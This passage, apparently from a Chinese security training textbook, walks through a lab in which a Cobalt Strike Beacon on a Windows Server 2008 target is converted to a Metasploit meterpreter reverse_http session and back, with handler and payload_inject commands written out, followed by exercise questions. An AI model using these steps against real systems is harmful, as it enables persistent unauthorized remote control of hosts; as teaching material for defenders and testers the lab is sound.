参照本任务中使用CS获取受害主机Beacon的步骤和Windows Server 2008靶机建立C&C连接,在CS主界面状态下单击主界面左上角的“Cobalt Strike”按钮,然后单击“Listeners”按钮打开监听器面板。在监听器面板中,单击左下角的“Add”按钮新增监听器,如图 1-62所示。

图1-62 新增监听器

在“New Listener”面板中需要填写“Name”字段,填充任意字段即可,该字段用于区分不同的监听器;“Payload”字段选择“Foreign HTTP”形式,该字段用于指定监听器所配套的攻击载荷;“HTTP Host(Stager)”字段填入开启MSF的Linux攻击机的IP地址,该字段用于指定开启监听器的主机地址:“HTTP Port(Stager)”字段为端口号,要注意该端口号和MSF的监听端口号需要一致,MSF的默认监听端口号为4444。在字段填写完毕后,选择下方的“Save”按钮创建该监听器,如图1-63所示。

图1-63 创建该监听器

在Linux攻击机中打开终端并输入以下命令进入MSF,调用与msfevnom工具配套的监听模块,如图1-64所示。

msf6 > use exploit/multi/handler

图1-64 调用监听模块

在选取好模块后,需要设置攻击载荷、开启监听的主机IP地址和开启监听的端口号,攻击载荷为“windows/meterpreter/reverse_http”,“LHOST”中要填写Linux攻击机的IP地址,“LPROT”中的端口号要与CS中设置的参数一致。在参数设置完成后,可以输入run命令来运行监听模块,如图1-65所示。

msf6 > set payload windows/meterpreter/reverse_http
msf6 > set LHOST 攻击机IP
msf6 > set LPROT 4444
msf6 > run

图1-65 运行监听模块

返回Windows攻击机的CS窗口,在选中受害主机的Beacon后,用鼠标右键单击“Spawn”,如图1-66所示。

图1-66 单击“Spawn”

在“Choose a payload”弹窗中,选择“payload”为“windows/foreign/reverse_http”的监听器,然后单击“Choose”按钮选择监听器,如图1-67所示。

图1-67 选择监听器

返回Linux攻击机的MSF终端中,发现已经接收到meterpreter会话,如图1-68所示,证明Beacon已经成功转换为meterpreter。

图1-68 接收到meterpreter会话

在获取meterpreter后,可以使用以下命令先将该会话挂起,如图1-69所示。

background

图1-69 挂起会话

在挂起meterpreter会话后,MSF也会输出该session的id,在获取了session的id后调用注入模块,如图1-70所示,准备将meterpreter会话转换为Beacon。

msf6 > use exploit/windows/local/payload_inject

图1-70 调用注入模块

运行该模块之前需要设置攻击载荷类型、会话ID、监听主机名和监听端口,攻击载荷类型和CS监听器的攻击载荷类型一致。在本任务中,CS监听器的攻击载荷类型为“Beacon HTTP”,于是在MSF中该模块的攻击载荷就需要选择“windows/meterpreter/reverse_http”;会话ID为需要进行转换的meterperter的session id;监听主机名为CS监听器中所指定的“HTTP Hosts”,也就是CS服务端的IP地址;监听端口为CS监听器所指定的端口。运行注入模块如图1-71所示。

msf6 > set payload windows/meterpreter/reverse_http
msf6 > set session 1
msf6 > set LHOST CS服务端IP
msf6 > set LPORT CS监听器端口
msf6 > run

图1-71 运行注入模块

运行完成后返回Windows攻击机中的CS,发现已经接收到新Beacon,如图1-72所示,证明meterpreter成功转换为Beacon。

图1-72 接收到新Beacon

1.2.7 练习实训

一、选择题

△1.运行Cobalt Strike工具需要(  )运行环境。

  A.C 

  B.Python 

  C.Java 

  D.Ruby

△△2.在获取meterpreter的情况下,可以调用MSF中的(  )模块将其发送至CS中。

  A.exploit/multi/handler

  B.exploit/windows/local/payload_inject

  C.exploit/windows/local/wmi

  D.exploit/windows/scada/realwin

二、简答题

△1.请举例Cobalt Strike可以生成的恶意代码种类。

△△2.请简述Cobalt Strike修改服务端的开放端口的具体操作。

相关图书

一书读懂物联网:基础知识+运行机制+工程实现
一书读懂物联网:基础知识+运行机制+工程实现
华为HCIA-Datacom网络技术学习指南
华为HCIA-Datacom网络技术学习指南
Dapr与.NET微服务实战
Dapr与.NET微服务实战
CCNP企业高级路由ENARSI  300-410认证考试指南
CCNP企业高级路由ENARSI 300-410认证考试指南
IPv6网络部署实战(锐捷版)
IPv6网络部署实战(锐捷版)
华为网络技术系列 园区网络架构与技术(第2版)
华为网络技术系列 园区网络架构与技术(第2版)

相关文章

相关课程